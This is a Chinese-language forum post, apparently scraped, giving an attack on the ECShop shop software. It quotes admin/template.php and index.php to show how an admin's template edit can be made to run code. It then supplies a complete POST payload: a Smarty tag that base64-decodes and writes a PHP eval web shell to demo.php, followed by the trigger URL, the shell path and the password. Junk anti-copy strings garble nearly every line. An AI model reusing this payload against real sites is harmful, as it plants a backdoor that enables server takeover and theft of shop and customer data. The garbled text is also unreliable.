首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 {+ v3 U& m/ K
" X! h9 ]$ J# }% B& e而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 n* J& M' P" i" t但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ \. v4 K( J3 ~7 [8 |admin/template.php- C. g& r: k9 m2 y* p" J
" V; U y4 C5 Z; J
1 if ($_REQUEST['act'] == 'update_library')
! s& b3 W9 ?* E' k( j
, z O. J: T; H( [; e2
8 [: I! n* ^% L s( ?) q9 g) X- J @( [$ r% N
3 { 8 [9 a! I3 N, s) I& l5 `
) n* ]) x# W8 n9 I+ x4 check_authz_json('library_manage'); 3 s4 F. K" {! x# w- k% k
6 H6 F8 b" F% n# k8 N y
5
4 t4 \& x i* g3 @' u8 m6 }% i
( V+ q+ p6 E6 N3 Z: [- [6 $html = stripslashes(json_str_iconv($_POST['html'])); ( b0 I! Q6 d& y; ]4 Q6 h6 b" k! p
, B! ?! m" C3 f V7 % p# o1 }5 x/ l7 _& P- t2 H, H
% U, z, D7 n" ^8 T* B6 J' }8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ h Q/ v4 z# ]: v
' o6 F/ p" k& H5 W5 g: q9 1 Y% U+ C. ?. f' C. t! w5 ] a
' V; N, }: I2 @6 @
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# G* l! ^% O: L, Q2 G7 _; |8 e6 W- e- q
11 ) b; [8 B- G p' N* \4 }) Q( s
; I; L; ?2 ] O# ~5 a4 u
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 1 q" Y4 u; b) g9 G( j( b
6 O! T& G6 ~8 F$ l4 _+ q: ]
13
* N' q' q, h; F3 r$ Z$ N: {+ |; ~) R5 e, T Z0 _
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 - u, R% e6 W9 O$ B: i+ ], C
$ y7 w+ W# U8 Z- a& Y" A
15 { 1 c4 k' w+ a' i- h3 W2 |
0 e$ a( R0 D; r* [16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 7 q& `% }' D$ q# \5 Q* {8 u
0 v( y U; ]4 H' E3 a* D' g
17 make_json_result('', $_LANG['update_lib_success']); D& V" x+ d" x0 L4 g
% |- O8 J( A) C
18 } ! V7 e; S5 I9 m8 D7 N) O) j
& W2 O) L* z0 R6 @0 c- h6 ^: O19 else 0 x3 S B, `" S3 e d
5 _. w2 V9 L% g4 ]4 E
20 { , T; ~- S: f( e5 r6 R% C/ Q
% V) H$ w/ l4 A* s! t0 U8 C9 |. q21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
5 v: [- v8 Q# @1 q/ W/ f, E6 r1 j! w
22 }
; R1 @7 t6 q9 x* n! C' X0 C5 l6 i& H- h5 C j) s" ^( y
23 }
) T# m5 U3 U2 `: q; l7 a
2 w' {$ K# }1 t那么找个比较方便调用了模板的文件
) n- r3 d/ ^8 e! `: y- Uindex.php0 ^( d+ |0 `+ O t! N+ ?3 x4 Y
' ~' ]4 n# Q& [, X+ P e* C1 if ($act == 'cat_rec')
5 @ u+ k# \9 q, }* S
: j6 y4 _4 o, O; L" |$ J2
1 d" k6 v) i( w' g. a. j" m
0 N3 x% D+ @! M) ~7 Y* \3 {
( ]* E& C9 {: ^5 [+ s6 Z- l% M8 X+ n8 s
4
8 ]( G# F4 R) J' Z( t/ m J* w% l0 b$ p. z
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / O! g8 |: K' P# U C
* L. J- a- G) i/ @6 u) l" y( d
6 9 t6 w( @9 \% m+ Y) g' b+ b+ |
# y. R6 p6 c7 j* Y+ E. R6 T4 [
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ A _: T% M: t6 q' y" F
8 k: } j% t2 \' J/ g8
6 c: F4 m" F' p" a, y2 K9 A0 |! R$ a) x+ W- ]7 x! ^
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # y% z6 h; q7 y7 d7 g7 Q Y
- y7 ?" F5 @% e f10
@; k* Z4 v3 Q7 ?
) G' {3 U, o" u/ |11 include_once('includes/cls_json.php'); 7 o! @% e) k: [9 f9 s! t
' q$ M' R, k! v* X12
" d- s! n: m+ q6 Q( t
\. l- R! t4 W' o' [13 $json = new JSON;
7 Z$ I. _! z& s0 E
3 U6 {" A+ m, p) s14 ; ~/ L& Y( C- a3 J
- \8 ?( K1 z* d9 k. R
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' h! @. J4 q. c t% \6 {/ }' G
' p# i+ u" z/ h; v+ h
16
8 F2 b) g; t4 _$ M% e9 b. }6 M6 ?- S* e) z# J8 K5 h3 I' ^4 j; t
17 $children = get_children($cat_id);
9 q4 H% h+ {/ o+ H& u2 q3 |4 G7 o; ~
18
( M! R3 c% ]% r+ Q9 h4 q, y& x Q
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 . @8 }% A1 I7 f! L2 ]) s
v* p: k5 H* o+ k. e
20
( N/ P6 y& R" d0 N- k$ b
5 @* n% H) Q# L: J% Q, s21 $smarty->assign('cat_rec_sign', 1);
, N# y: K1 Y7 h3 ? W; {7 S/ n0 F; L
22
* _4 l, a# v L6 x0 M7 v, g8 W [
% b9 S. y/ U, j. `& S- A23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
" f, D. U5 \8 n2 p' _
4 r$ t- {+ K; H+ {" }24 $ Z2 m5 t$ G- B( C- i/ ^5 @
0 E8 o2 M* T$ \, m
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; / T8 @; N, B. [& ~
5 u/ X( X, V8 s$ J
26 v9 ]' |! ]7 w% q* g$ h
+ Y" o% V) V+ Y" s+ s6 ]- O27 echo $rec_array[$rec_type];
2 Y7 G w* K' d+ |) L6 d
; v7 |$ I Q$ U6 y1 W28
! @+ ~9 l7 ]5 S* K9 ], R4 j
$ a6 @0 m6 ^8 {) T2 b, e29 die($json->encode($result));
3 P, k I% r2 l8 q1 v5 \
/ Y3 y9 J9 S: O8 }30
5 i$ @! W+ H ]: L" o5 Z& H: F$ P3 o+ j" z. F, P6 A; l
31 } 4 u$ ~2 k$ j8 a; `: V
& G5 B% D. o8 a: u那么就有利用方法了
; C! e+ V5 R/ ]- j0 ^/ @9 Rpost包到http://localhost/ec/admin/template.php?act=update_library
6 k3 W2 ^" y# @9 k0 SPost内容:' `3 M4 C& J" C) X' M4 S! C
0 j9 e) m9 v& t; w: L0 ~$ }; g$ @' y/ w ]: I+ G
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 O5 E: z4 g: h* a
1 h! j, i, [- F6 k* p然后访问http://localhost/ec/index.php?act=cat_rec
1 s. C: Y+ Y `1 a- h* ~8 O; m! r8 \! p7 N5 K
shel地址:http://localhost/ec/demo.php
' @, R+ @' ~* a密码c$ I9 z! e/ C: M4 v
4 b+ V/ M" B8 ^! D( J# W
|